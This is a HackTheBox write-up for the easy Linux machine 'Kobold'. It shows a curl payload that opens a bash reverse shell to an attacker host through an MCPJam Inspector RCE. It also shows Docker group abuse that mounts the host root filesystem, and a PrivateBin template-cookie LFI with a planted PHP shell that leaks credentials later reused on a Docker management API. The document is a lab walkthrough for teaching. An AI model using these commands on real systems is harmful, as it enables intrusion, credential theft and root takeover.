esc

Kobold

📅 Last Updated: Mar 22, 2026 11:00 | 📄 Size: 8.5 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

HackTheBox: Kobold

Difficulty: Easy · OS: Linux ·


Overview

Kobold is a multi-service Linux machine that chains together a modern vulnerability stack: an unauthenticated RCE in an MCP inspector tool, and privilege escalation through Docker group membership. There is also an intended path involving a Local File Inclusion vulnerability in PrivateBin that leaks credentials used to authenticate against an internal Docker management API, and we'll cover both.

Attack chain (unintended):

RCE via MCPJam Inspector → Shell as ben → Docker group abuse → Root

Attack chain (intended):

RCE via MCPJam Inspector → Shell as ben → PrivateBin LFI (CVE-2025-64714)
→ Leaked DB credentials → Arcane API auth → Privileged container → Root

1. Enumeration

Nmap

We start with a full port scan to identify exposed services:

nmap -sC -sV -oA kobold <target>
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp   open  http    nginx/1.24.0
443/tcp  open  ssl     nginx/1.24.0
3552/tcp open  http    Golang net/http server

Port 80 immediately redirects to https://kobold.htb. The TLS certificate exposes a wildcard SAN: *.kobold.htb, which is a strong hint that virtual host routing is in play.

Virtual Host Discovery

We fuzz for subdomains using ffuf:

ffuf -u https://kobold.htb/ \
     -H "Host: FUZZ.kobold.htb" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -fc 404 -fs 154

This reveals two subdomains: mcp.kobold.htb and bin.kobold.htb. A third one (bin.kobold.htb) is also confirmed later by reading /etc/nginx/sites-enabled/ from the shell.

Add them to /etc/hosts:

<target>  kobold.htb mcp.kobold.htb bin.kobold.htb

Service Map

Vhost Backend Service
kobold.htb PHP-FPM Static landing page
mcp.kobold.htb 127.0.0.1:6274 MCPJam Inspector 1.4.2 (Node.js)
bin.kobold.htb 127.0.0.1:8080 PrivateBin 2.0.2 (Docker container)
Port 3552 (direct) Go binary Arcane v1.13.0 (Docker management API)

2. Initial Access: CVE-2026-23744 MCPJam Inspector RCE

Browsing to https://mcp.kobold.htb shows MCPJam Inspector 1.4.2, a tool used to inspect and interact with MCP (Model Context Protocol) servers.

This version is affected by CVE-2026-23744 (CVSS 9.8). The /api/mcp/connect endpoint accepts a JSON body with command and args fields that are passed directly to the OS without any sanitization or authentication checks. Since the Inspector binds on 0.0.0.0, it is reachable externally.

Exploitation

Start a listener on your machine:

rlwrap nc -lnvp 4444

Send the payload:

curl -sk -X POST "https://mcp.kobold.htb/api/mcp/connect" \
  -H "Content-Type: application/json" \
  -d '{
    "serverConfig": {
      "command": "bash",
      "args": ["-c", "bash -i >& /dev/tcp/<attacker>/4444 0>&1"],
      "env": {}
    },
    "serverId": "rce"
  }'

The response will return "Connection closed" (expected, bash is not an MCP server), but the reverse shell lands on your listener:

connect to [<attacker>] from (UNKNOWN) [<target>]
ben@kobold:~$

User Flag

ben@kobold:~$ cat ~/user.txt
FLAAAAAAAAGED

3. Privilege Escalation

Reconnaissance as ben

The first thing to do after landing a shell is understand where we are and what we have access to:

id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

ps aux | grep -i arcane
# /root/arcane_linux_amd64 (running as root via systemd)

netstat -tulpn
# 127.0.0.1:41047 (internal, not directly exploitable)

Check the Docker socket:

ls -la /var/run/docker.sock
srw-rw---- 1 root docker /var/run/docker.sock

The socket is accessible by the docker group. We're not in it yet, but ben is in the operator group, and operator can switch into docker via newgrp:

newgrp docker

This is the unintended path. Simply switching groups gives us full Docker access, which is effectively root.


4. Root: Docker Group Abuse

Docker runs containers as root by default. Any user who can run docker commands can trivially read (or write) any file on the host by mounting the root filesystem into a container.

We use the privatebin/nginx-fpm-alpine:2.0.2 image, which is already present locally on the machine (no internet needed):

docker run -v /:/hostfs --rm \
  --user root \
  --entrypoint cat \
  privatebin/nginx-fpm-alpine:2.0.2 \
  /hostfs/root/root.txt
rooooooooooted

By mounting / from the host into /hostfs inside the container, we read the root flag directly. This works because Docker runs the container process as root, bypassing all host-level file permissions.


5. Intended Path (Bonus): PrivateBin LFI + Arcane API

The intended escalation path is more involved and doesn't rely on the newgrp shortcut. Here's how it works.

Step 1: CVE-2025-64714 PrivateBin LFI via Template Cookie

PrivateBin 2.0.2 (running in Docker at bin.kobold.htb) is vulnerable to a Local File Inclusion via the template cookie when templateselection = true is set in the config.

The application trusts the template cookie and includes tpl/{cookie_value}.php relative to the container's webroot. Since /privatebin-data/data on the host is bind-mounted to /srv/data inside the container, and that directory is world-writable, we can plant a PHP webshell there and trigger its execution through the LFI.

Write a PHP file from ben's shell:

printf '<?php echo shell_exec("cat /srv/cfg/conf.php"); ?>' \
  > /privatebin-data/data/bd/cfg.php

Trigger it by setting the template cookie to traverse out of tpl/ into our planted file:

curl -sk -b "template=../data/bd/cfg" "https://bin.kobold.htb/"

This executes inside the PrivateBin container and dumps the full conf.php, which contains a leftover MySQL configuration block with credentials:

usr = "privatebin"
pwd = "ComplexP@sswordAdmin1928"

Step 2: Authenticate to Arcane

Port 3552 runs Arcane, a Go-based Docker management API. The default admin username is arcane (hardcoded in source). We try the recovered password:

curl -s -X POST http://<target>:3552/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"arcane","password":"ComplexP@sswordAdmin1928"}'
{
  "success": true,
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIs...",
    "user": { "username": "arcane", "roles": ["admin"] }
  }
}

Step 3: Privileged Container via Arcane

With an admin token, we create a container that mounts the host root filesystem and copies the root flag to a world-readable location:

TOKEN="eyJhbGciOiJIUzI1NiIs..."

curl -s -X POST "http://<target>:3552/api/environments/0/containers" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "rootme",
    "image": "privatebin/nginx-fpm-alpine:2.0.2",
    "command": ["sh", "-c", "cat /host/root/root.txt > /srv/data/bd/flag.txt; chmod 777 /srv/data/bd/flag.txt; sleep 3600"],
    "volumes": ["/:/host"]
  }'

Read the flag from ben's shell:

cat /privatebin-data/data/bd/flag.txt
rooooooooted

6. CVEs Summary

CVE Software Type CVSS
CVE-2026-23744 MCPJam Inspector ≤ 1.4.2 Unauthenticated RCE 9.8
CVE-2025-64714 PrivateBin 1.7.7–2.0.2 LFI via template cookie 5.8

7. Key Takeaways

  • MCPJam Inspector exposes an unauthenticated command execution endpoint that is trivially exploitable. Never expose development/inspection tooling to any network without authentication.
  • Docker group membership is equivalent to root. Treat it accordingly. The newgrp pivot from operator → docker is a subtle but critical misconfiguration.
  • Credential reuse between services (PrivateBin config → Arcane API) is a common real-world pattern worth checking in every engagement.
  • LFI in PHP apps combined with a writable path that maps to a web-accessible directory is a classic and still highly effective attack primitive.